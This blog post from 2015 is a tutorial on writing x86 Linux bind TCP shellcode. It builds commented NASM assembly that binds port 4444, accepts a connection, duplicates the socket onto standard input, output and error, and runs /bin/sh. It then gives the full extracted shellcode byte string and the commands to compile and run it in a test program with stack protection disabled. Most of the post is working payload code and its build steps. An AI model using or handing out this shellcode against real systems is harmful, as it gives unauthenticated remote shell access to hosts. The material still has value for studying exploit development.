Monday, January 5, 2015

Creating a Linux Shell Bind TCP shellcode

When creating a bind port, from the man page we know that the syscall number for a socket call is 102 (0x66 hex).

SOCKETCALL(2)              Linux Programmer's Manual             SOCKETCALL(2)

NAME
       socketcall - socket system calls

SYNOPSIS
       int socketcall(int call, unsigned long *args);

DESCRIPTION
       socketcall()  is  a  common  kernel  entry  point for the socket system
       calls.  call determines which socket function to invoke.   args  points
       to a block containing the actual arguments, which are passed through to
       the appropriate call.

The call numbers which are taken in as input are stored in the /usr/include/linux/net.h file.
#ifndef _LINUX_NET_H
#define _LINUX_NET_H

#include <linux/socket.h>
#include <asm/socket.h>

#define NPROTO        AF_MAX
#define SYS_SOCKET    1        /* sys_socket(2)        */
#define SYS_BIND    2        /* sys_bind(2)            */
#define SYS_CONNECT    3        /* sys_connect(2)        */
#define SYS_LISTEN    4        /* sys_listen(2)        */
#define SYS_ACCEPT    5        /* sys_accept(2)        */
#define SYS_GETSOCKNAME    6        /* sys_getsockname(2)        */
#define SYS_GETPEERNAME    7        /* sys_getpeername(2)        */
#define SYS_SOCKETPAIR    8        /* sys_socketpair(2)        */
#define SYS_SEND    9        /* sys_send(2)            */
#define SYS_RECV    10        /* sys_recv(2)            */
#define SYS_SENDTO    11        /* sys_sendto(2)        */
#define SYS_RECVFROM    12        /* sys_recvfrom(2)        */
For linux syscalls 102 is loaded into the EAX register, the type of socket call to be made is loaded into the EBX register while the ECX register is made to point to the socketcall args. The instructions below show the socket calls required to bind port 4444 and accept tcp connections. The sockaddr struct arg arrays are each created by pushing values in reverse order onto the stack.
global _start
section .text
_start:

; socket(int domain, int type, int protocol);
; s = socket(2, 1, 0)
    xor eax, eax    ; zero out eax register
    mov al, 0x66    ; mov 0x66 (102 socketcall) into eax register
    xor ebx, ebx    ; ebx carries the type of socketcall
    mov bl, 1    ; which we saw from out net.h file is 1
    xor edx, edx    ; Zero out edx . value of array are pushed in reverse order
    push edx        ; push zero onto the stack protocol = 0 (arg array build)
    push BYTE 1     ; push sockstream=1 value onto the stack 
    push BYTE 2     ; push AF_INET = 2 onto the stack
    mov ecx, esp    ; ecx = ptr to argument array
    int 0x80        ; After syscall, eax has socket file descriptor.

    mov esi, eax    ; move value of sock descriptor into esi 
 
; bind(int sockfd, const struct sockaddr *addr,socklen_t addrlen);
; bind(s, [2, 4444, 0], 16)
    xor eax, eax    ; zero out eax register
    mov al, 0x66    ; mov 0x66 (102 socketcall) into eax register
    mov bl, 2    ; move 2 into ebx since SYS_BIND number from net.h is 2
    push edx        ; Build sockaddr struct: INADDR_ANY = 0
    push WORD 0x5c11; port 4444 pushed onto the stack in reverse order
    push WORD bx    ; push 2 onto the stack because AF_INET = 2
    mov ecx, esp    ; ecx = ptr to arguement array
    push BYTE 16    ;  size of server struct
    push ecx        
    push esi        
    mov ecx, esp
    int 0x80       

; listen(int sockfd, int backlog);
; listen(s, 0)
    mov al, 0x66     ;mov 0x66 (102 socketcall) into eax register
    inc ebx
    inc ebx          ; ebx is now 4 SYS_LISTEN = 4
    push ebx         ; 
    push esi         ;  
    mov ecx, esp     ; ecx = ptr to argument array
    int 0x80         

; accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen);
; c = accept(s, 0, 0)
    mov al, 0x66      ; mov 0x66 (102 socketcall) into eax register
    inc ebx           ; ebx is now 5 since SYS_ACCEPT = 5
    push edx          ; argv: { socklen = 0, sockaddr ptr = NULL,socket fd }
    push edx
    push esi
    mov ecx, esp      ; ecx = ptr to argument array
    int 0x80          ;

The code above binds to port 4444 and waits for an incoming tcp connection. However as soon as the connection is accepted, its put into EAX which means we cant use it to do anything useful. We therefore have to combine it with code that spawns a shell. To do this, we'll swap the standard input, standard output and standard error of the spawned shell with that of the connected socket file descriptor.
The syscall for duplicating file descriptors is dup2 and has a syscall number of 63.

P(2)                     Linux Programmer's Manual                    DUP(2)
NAME
       dup, dup2, dup3 - duplicate a file descriptor
 
SYNOPSIS
       #include <unistd.h>
       int dup(int oldfd);
       int dup2(int oldfd, int newfd);
       #define _GNU_SOURCE             /* See feature_test_macros(7) */
       #include <unistd.h>
       int dup3(int oldfd, int newfd, int flags);

DESCRIPTION

       These system calls create a copy of the file descriptor oldfd.


From the above descriptions, we can came up with the following code to do the transition.
 
; int dup2(int oldfd, int newfd);
; dup2(connected socket, {all three standard I/O file descriptors})
    mov ebx, eax      ; since the sockfd left off with EAX register we'll move it onto ebx
    xor eax, eax      ; zero out the eax register and prepare to load it with dup2 syscall 
    mov al, 0x3F      ; dup2 syscall number is 63 
    xor ecx, ecx      ; load ecx with zero which is the value = standard input
    int 0x80          ;
    mov al,0x3F      ; dup2 syscall is 63
    add ecx, 1      ; add 1 to ecx = standard output
    int 0x80          ;
    mov al, 0x3F      ; dup2 syscall is 63
    add ecx,1         ; add 1 to ecx=2=standard error
    int 0x80          ;

The remainder of the code basically spawns a /bin/sh shell
; execve(const char *filename, char *const argv [], char *const envp[])
    ; PUSH the first null dword 
    xor eax, eax
    push eax
    ; PUSH //bin/sh loaded in reverse order (8 bytes) 
    push 0x68732f2f ;//sh 
    push 0x6e69622f ;/bin
    mov ebx, esp    ; because ebx points to the //bin/ls
    push eax        ; push 32bit null terminator to the stack
    mov edx, esp    ; empty array for envp
    push ebx        ; address of where //bin/ls is
    mov ecx, esp    ; this is the argv array with string ptr
    mov al, 11      ;syscall for execve
    int 0x80

Below is the entire code with out explanation with the comments or if you want to can get it from my github account.
    We can assemble and link the above nasm code using this simple compile.sh script. When using the script, drop the .nasm at the end of the filename for example if you've named the shell_bind_tcp.nasm, when compiling with compile.sh, just do "./compile.sh shell_bind_tcp"
Next we use objdump to check for nulls since we know nulls in most cases kill shellcode. We run "./objdump -d shell_bind_tcp -M intel" You can use whatever syntax suits you mine is intel. The default syntax is AT&T. After establishing the absence of nulls we then extract the shellcode using this code from commandlinefu. This gives us the following shellcode.
"\x31\xc0\xb0\x66\x31\xdb\xb3\x01\x31\xd2\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\x31\xc0\xb0\x66\xb3\x02\x52\x66\x68\x11\x5c\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\xb0\x66\x43\x43\x53\x56\x89\xe1\xcd\x80\xb0\x66\x43\x52\x52\x56\x89\xe1\xcd\x80\x89\xc3\x31\xc0\xb0\x3f\x31\xc9\xcd\x80\xb0\x3f\x83\xc1\x01\xcd\x80\xb0\x3f\x83\xc1\x01\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" We then go ahead and paste the shellcode into the c program below to test our shellcode. Compile the shellcode.c with the syntax "gcc -fno-stack-protector -z execstack shellcode.c -o shellcode" then run shellcode "./shellcode" and a bind shell on port 4444 should be opened. Run "netstat -ntlp for confirmation."


No comments:

Post a Comment